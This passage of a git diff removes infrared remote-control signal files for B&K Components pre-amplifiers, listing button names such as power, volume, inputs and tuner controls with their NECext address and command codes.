00 -# -name: BK005_NUMBER_8 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3A 00 00 00 -# -name: BK005_NUMBER_9 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3B 00 00 00 -# -name: BK005_NUMBER_0 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3E 00 00 00 -# -name: BK005_Z -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3F 00 00 00 -# -name: BK005_SAVE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 40 00 00 00 -# -name: BK005_SAT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4A 00 00 00 -# -name: BK005_PRESET+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4B 00 00 00 -# -name: BK005_PANORAMA+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4E 00 00 00 -# -name: BK005_INFO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 53 00 00 00 -# -name: BK005_BASS- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 65 00 00 00 -# -name: BK005_GAME -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 6A 00 00 00 -# -name: BK005_MOVIE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 72 00 00 00 -# -name: BK005_AM -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 76 00 00 00 -# -name: BK005_TREBLE- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 79 00 00 00 -# -name: BK005_EXIT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 7D 00 00 00 -# -name: BK005_DIMENSION+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 81 00 00 00 -# -name: BK005_CINEMA -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 8A 00 00 00 -# -name: BK005_FM -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 8E 00 00 00 -# -name: BK005_MONO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 9A 00 00 00 -# -name: BK005_IMAGE+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 9E 00 00 00 -# -name: BK005_NEO:6 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: AA 00 00 00 -# -name: BK005_MUSIC -type: parsed -protocol: NECext -address: CB 43 00 00 -command: B2 00 00 00 -# -name: BK005_SLEEP -type: parsed -protocol: NECext -address: CB 43 00 00 -command: B3 00 00 00 -# -name: BK005_PRESET- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: C6 00 00 00 -# -name: BK005_SURROUND -type: parsed -protocol: NECext -address: CB 43 00 00 -command: CA 00 00 00 -# -name: BK005_PANORAMA- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: CE 00 00 00 -# -name: BK005_STEREO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: E2 00 00 00 -# -name: BK005_BASS+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: E5 00 00 00 -# -name: BK005_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: CB 43 00 00 -command: EA 00 00 00 -# -name: BK005_IMAGE- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: EE 00 00 00 -# -name: BK005_TREBLE+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: F9 00 00 00 -# -name: BK005_DIMENSION- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir deleted file mode 100644 index a53f1b1a0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir +++ /dev/null @@ -1,1850 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: Z2_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: BK001_POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: Z2_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: BK001_POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: Z2_MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: BK001_MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: SOURCE_IN_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: Z2_VCR_[V1] -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: BK001_V1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: TV-V3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: SOURCE_IN_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: BK001_TV -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: FX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 07 00 00 00 -# -name: SOURCE_IN_8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 07 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: SOURCE_IN_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: Z2_TIVO_[V2] -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: BK001_V2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: SOURCE_IN_7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: BK001_TAPE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: VIDEO_HUE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0C 00 00 00 -# -name: VLD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: SOURCE_IN_4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: BK001_DVD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0E 00 00 00 -# -name: SOURCE_TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0E 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: SOURCE_IN_5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: Z2_CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: BK001_CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: VIDEO_RECORD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 10 00 00 00 -# -name: VIDEO_ZOOM_ASPECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 11 00 00 00 -# -name: FREQ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 12 00 00 00 -# -name: TUNER_FREQ_DIRECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 12 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 13 00 00 00 -# -name: TUNER_BAND_TOGGLE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 13 00 00 00 -# -name: VIDEO_FORMAT_EDID -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 14 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: AUDIO_CENTER- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CNTR_< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: BK001_CENTER- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: AUDIO_CENTER+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: CNTR_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: BK001_CENTER+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 17 00 00 00 -# -name: TUNER_STATION- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 18 00 00 00 -# -name: TUNER_STATION+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 18 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: AUDIO_REAR- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: REAR_< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: BK001_REAR- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: AUDIO_REAR+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: REAR_> -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: BK001_REAR+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1B 00 00 00 -# -name: TUNER_TUNE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1C 00 00 00 -# -name: TUNER_TUNE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1C 00 00 00 -# -name: SUB_LEVEL_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: SUB_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: AUDIO_SUB- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: SUB_< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: BK001_SUB- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: SUB_LEVEL_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: AUDIO_SUB+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: SUB_> -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: BK001_SUB+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: BALANCE_L -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: BK001_LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: BALANCE_R -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: BK001_RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: REAR_DELAY_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 21 00 00 00 -# -name: REAR_DELAY_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 22 00 00 00 -# -name: MASTER_VOLUME_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: MASTER_VOLUME- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: Z2_VOL_DN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: BK001_VOLUME- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: MASTER_VOLUME_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: MASTER_VOLUME+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: Z2_VOL_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: BK001_VOLUME+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: SURROUND_TEST -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 25 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 26 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: NUMBER_+10 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: BK001_NUMBER_+10 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: AUDIO_EQ(STEP) -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: BK001_EQ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: DVD-A -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: AUDIO_DVD_AUDIO_PCM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: BK001_DVD-AUDIO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: BK001_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: BK001_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: MENU_- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: BK001_MENU -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: BK001_ENTER/SELECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: NUMBER_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: BK001_NUMBER_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: NUMBER_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: BK001_NUMBER_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: NUMBER_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: BK001_NUMBER_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: VIDEO_CONTRAST- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 34 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: NUMBER_4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: BK001_NUMBER_4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: NUMBER_5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: BK001_NUMBER_5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: EX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: NUMBER_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: BK001_NUMBER_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 38 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: NUMBER_7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: BK001_NUMBER_7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: NUMBER_8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: BK001_NUMBER_8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: LTRT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: NUMBER_9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: BK001_NUMBER_9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3C 00 00 00 -# -name: *_(STAR) -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: HEADPHONE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: NUMBER_0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: BK001_NUMBER_0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: #_(POUND) -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3F 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3F 00 00 00 -# -name: BK001_Z -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: AUDIO_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: TUNER_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: VIDEO_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: BK001_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: VIDEO_BLOCK_NR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 41 00 00 00 -# -name: VIDEO_STRETCH+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 45 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: SOURCE_IN_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: Z2_SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: BK001_SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: BK001_PRESET+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4B 00 00 00 -# -name: VIDEO_SHARP- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4C 00 00 00 -# -name: PAN+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4E 00 00 00 -# -name: BK001_PANORAMA+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4E 00 00 00 -# -name: VIDEO_STRETCH_2.35 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 51 00 00 00 -# -name: INFORMATION -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 53 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 53 00 00 00 -# -name: BK001_INFO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 53 00 00 00 -# -name: VIDEO_BRIGHT- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 54 00 00 00 -# -name: VIDEO_CONTROL_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 56 00 00 00 -# -name: SOURCE_IN_11 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 57 00 00 00 -# -name: VIDEO_ZOOM+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 59 00 00 00 -# -name: VIDEO_DETAIL- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 5E 00 00 00 -# -name: VIDEO_LUMA_TRANSIENT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 61 00 00 00 -# -name: AUDIO_BASS- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: BASS< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: BK001_BASS- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: AUDIO_DOLBY_GAME -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6A 00 00 00 -# -name: DPL -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6A 00 00 00 -# -name: BK001_GAME -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6A 00 00 00 -# -name: SOURCE_IN_9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6E 00 00 00 -# -name: AUDIO_MOVIE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: BK001_MOVIE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: TUNER_PREVIOUS -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 73 00 00 00 -# -name: VIDEO_COLOR- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 74 00 00 00 -# -name: AM_TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: TUNER_AM_BAND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: Z2_RADIO_[AM] -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: BK001_AM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: SOURCE_IN_14 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 77 00 00 00 -# -name: AUDIO_TREBLE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: TREB< -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: BK001_TREBLE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: VIDEO_SOURCE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7A 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7D 00 00 00 -# -name: BK001_EXIT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7D 00 00 00 -# -name: VIDEO_MOSQUITO_NR -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7E 00 00 00 -# -name: BK001_DIMENSION+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 81 00 00 00 -# -name: VIDEO_STRETCH- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 85 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: AUDIO_CINEMA -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: BK001_CINEMA -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: VIDEO_SHARP+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8C 00 00 00 -# -name: VIDEO_PREFERENCE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8D 00 00 00 -# -name: FM_TUNER -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: TUNER_FM_BAND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: FM -type: parsed -protocol: NECext 